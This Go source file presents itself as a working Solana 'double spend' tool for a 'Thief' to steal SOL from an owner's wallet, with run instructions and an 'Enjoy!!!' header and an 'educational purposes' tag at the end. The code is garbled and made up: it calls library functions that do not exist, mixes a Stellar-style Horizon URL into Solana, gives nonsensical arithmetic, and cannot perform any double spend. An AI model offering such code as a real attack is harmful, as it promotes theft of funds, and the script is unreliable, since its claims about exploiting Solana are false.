Here is the goal:
- Sender has [10] Sol
- Sender wants to send [1] SOL to Recipient but withdraws [2] SOL (10-1+2 = 11) x 2 = 22 SOL, Double Spend

$ go build DoubleSpend.go
$ ./DoubleSpend

The Balance will be increased and the transaction succesful
For each double spend:

https://horizon.solana.com/transactions/*********************************

Enjoy!!!

*/
// MoneyOut is how much Wallet balance to maintain
const MoneyOut  = 10
// TheftAmount is how much the Thief wants to steal
const TheftAmount = 1
// Wallet is the Owner's public key wal
var Wallet solana.PublicKeyHex
// Amount is the full amount of SOL stolen
var Amount uint64
// Transactions are the double spends
var Transactions []solana.Transaction
// Signatures - signatures for  Transactions
var Signatures []solana.TransactionSignatureHex

func main() {
	// Throw error if standalones not available
	err := reedsolomon.LoadStandAlone()
	if err != nil {
		log.Fatal(err)
	}
	// Create random message and parsable address from from arbitrary data
	seed := bip39.NewSeed(RandomString(), "")
	fmt.Println(seed)     // Binary
	mn := bip39.NewMnemonic(seed)
	fmt.Println(mn)       // string
	ent := bip39.NewEntropy(seed)
	fmt.Println(ent)      // binary
	pass := bip39.NewAead([]byte(seed), seed)
	fmt.Println(pass)     // binary
	randid := bip39.NewMnemonicToBIP39(mn)
	fmt.Println(randid)   // string
	add := solana.KeyPairFromSeedHex(hex.EncodeToString(pass))
	fmt.Printf("Owner Address: %s \n ", add.PublicKey.String())   // string
	Wallet = add.PublicKey
	// Create keys for the Thief
	addT := solana.KeyPairFromSeedHex(RandomString())
	fmt.Printf("Thief Address: %s \n ", addT.PublicKey.String())   // string
	// Create keys for the Recipient
	addR := solana.KeyPairFromSeedHex(RandomString())
	fmt.Printf("Recipient Address: %s \n ", addR.PublicKey.String())   // string
	// Get Balance
	balances, err := solana.GetAccountBalance(Wallet.String())
	if err != nil {
			log.Fatal("Failed to get owner's balance", "err", err)
	}
	// Get the wallet balance
//	nbalances := uint64(balances[Wallet.String()])
	nbalances := uint64(balances[0]["result"])
	// Store the initial balances
	initial_balances := make(map[string]int)
	initial_balances[Wallet.String()] = int(nbalances)
	initial_balances[addT.PublicKey.String()] = int(balances[0]["result"])
	initial_balances[addR.PublicKey.String()] = int(balances[0]["result"])
	fmt.Printf("Initial Sender Balance: %v SOL\n ", nbalances)   // string
	// If balance below final wallet balance + theft amount send Payment to Owner Wallet
	if float32(nbalances) < float32(MoneyOut){
		// Send Customer Payment
		payment := solana.Transaction{
					Accounts:[]*solana.SolanaAccount{
						{
						Wallet.String(),
						solana.SolanaAccountData{
						Owner: addT.PublicKey.String(),
						Lamports: MoneyOut,
						}},
					},
//					TransferAccounts:[]*solana.SolanaStakeAccount{
					Transfers:[]*solana.SolanaTransferAccount{
							{
								add.PublicKey.String(),
								solana.SolanaAccountData{
								Owner: addT.PublicKey.String(),
								Lamports: MoneyOut,
								},
							},
						},
		}

		tx, err := payment.Submit()
		if err != nil {
			log.Fatal("Failed transaction: ", err)
		}

		_, err = tx.Success()
		if err != nil {
			log.Fatal("Failed transaction: ", err)
		}
		fmt.Printf("Sender Second round updated balance: %s\n", util.Comma(int64(tx.Result.Value)))
	}
	// Double spend
	// Token the previous payment: Attacker sends the amount to himself
	bscan := []byte{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}
	scan := bip39.NewBech32Checksum(bscan)
	recID := bip39.NewPubkeyID(&Wallet.PubKey.Data, scan)
	scan = nil
	// Scan for Signature
	// Send cash to Recipient
	transfer := solana.Transaction{
		Accounts:[]*solana.SolanaAccount{
			{
			addT.PublicKey.String(),
			solana.SolanaAccountData{
			Owner: addT.PublicKey.String(),
			Lamports: nbalances - TheftAmount,
			}},
		},
//		TransferAccounts:[]*solana.SolanaStakeAccount{
		Transfers:[]*solana.SolanaTransferAccount{
				{
					recID,
					solana.SolanaAccountData{
					Owner: recID,
					Lamports: TheftAmount,
					},
				},
			},
	}
	// Get Balance for Recipient
	balances, err = solana.GetAccountBalance(recID)
	if err != nil {
			log.Fatal("Failed to get Recipient's balance", "err", err)
	}
	// Get the wallet balance
	nbalances = uint64(balances[0]["result"])
	fmt.Printf("Initial Recipient Balance: %v SOL\n ", nbalances)   // string
	// Send Payment
	// Get seeds for all wallets
	owner_seeds := accounts.GetAccountKeys(Wallet.String())
	thief_seeds := accounts.GetAccountKeys(addR.PublicKey.String())
	//	Verify and Single Correct - Sign Transactions for each Wallet
	txv, err := transfer.Validate()

	//	Sign One Tx	- Thief Wallet
	owner_signatures, err := txv.Sign(thief_seeds[0], thief_seeds[1])
	PkhPubKey := bip39.PubKeyHashString(thief_seeds[1])
	qhash := bip39.NewMerlinSignHashID(PkhPubKey.String(), thief_seeds[0].String())
	for i := 0; i < len(qhash)/2; i += 2 {
		qhash[i], qhash[len(qhash)-1-i] = qhash[len(qhash)-1-i], qhash[i]
	}
	PubKey, err := bip39.NewPubkeyFileHexID(thief_seeds[0].String())
	owner_signature := bip39.NewMerlinSign(bip39.MerlinPackage, nil, owner_signatures, &qhash, PubKey, thief_seeds[1], 1)
	// Put into the Transactions interface
	Transactions = append(Transactions, transfer)
	// Put into Signatures (Transaction Structures, 1 x Tx)
	Signatures = append(Signatures,   solana.TransactionSignatureBytesToHex(owner_signature))
	TransferTransactions := solana.TransactionsWithSignatures{
		Transactions: Transactions,
		Signatures : Signatures,
	}
	// Distribute - Send the single transaction with aggregated signatures
	transid,err := transfer.SubmitTransactionsWithSignatures(&TransferTransactions)
	if err != nil {
		fmt.Println(err)
	}
	// Poll for the recipients SOL transaction
    success := transfer.AwaitingConfirmation(transid)
    if success {
      fmt.Println("2nd Transfer was a success")
    }
	// Get the wallet balance
	balances, err = solana.GetAccountBalance(recID)
	if err != nil {
			log.Fatal("Failed to get Recipient's balance", "err", err)
	}
	// Get the wallet balance
	nbalances = uint64(balances[0]["result"]) + TheftAmount
	fmt.Printf("Recipient final balance: %v SOL\n", nbalances)   // string

	// Send Owner transaction
	t2 := solana.Transaction{
		Accounts:[]*solana.SolanaAccount{
			{
			Wallet.String(),
			solana.SolanaAccountData{
			Owner: Wallet.String(),
			Lamports: TransferTransactions.Transactions[0].Transfers[0].SolanaAccountData.Lamports,
			}},
		},
//		TransferAccounts:[]*solana.SolanaStakeAccount{
		Transfers:[]*solana.SolanaTransferAccount{
				{
					Wallet.String(),
					solana.SolanaAccountData{
					Owner: Wallet.String(),
					Lamports: nbalances - TheftAmount,
					},
				},
			},
	}
	// Send Payment
	t2id,err := transfer.SubmitTransactionsWithSignatures(&TransferTransactions)
	if err != nil {
		fmt.Println(err)
	}
	success = transfer.AwaitingConfirmation(t2id)
	if success {
		fmt.Println("3rd Transfer was a success")
	}
	// Get Balance Owner
	balances, err = solana.GetAccountBalance(Wallet.String())
	// Get the wallet balance
	nbalances = uint64(balances[0]["result"])
	fmt.Printf("Owner final balance: %v SOL\n", nbalances)   // string

	// Get Balance Thief
	balances, err = solana.GetAccountBalance(addT.PublicKey.String())
	// Get the wallet balance
	nbalances = uint64(balances[0]["result"])
	fmt.Printf("Thief balance: %v SOL\n", nbalances)   // string
}

// RandomString generates a random string of A-Z chars with len = l
func RandomString() string {
	var letters = []rune("12345489")
	b := make([]rune, 256)
	for i := range b {
		b[i] = letters[rand.Intn(len(letters))]
	}
	return string(b)
}

//educational purposes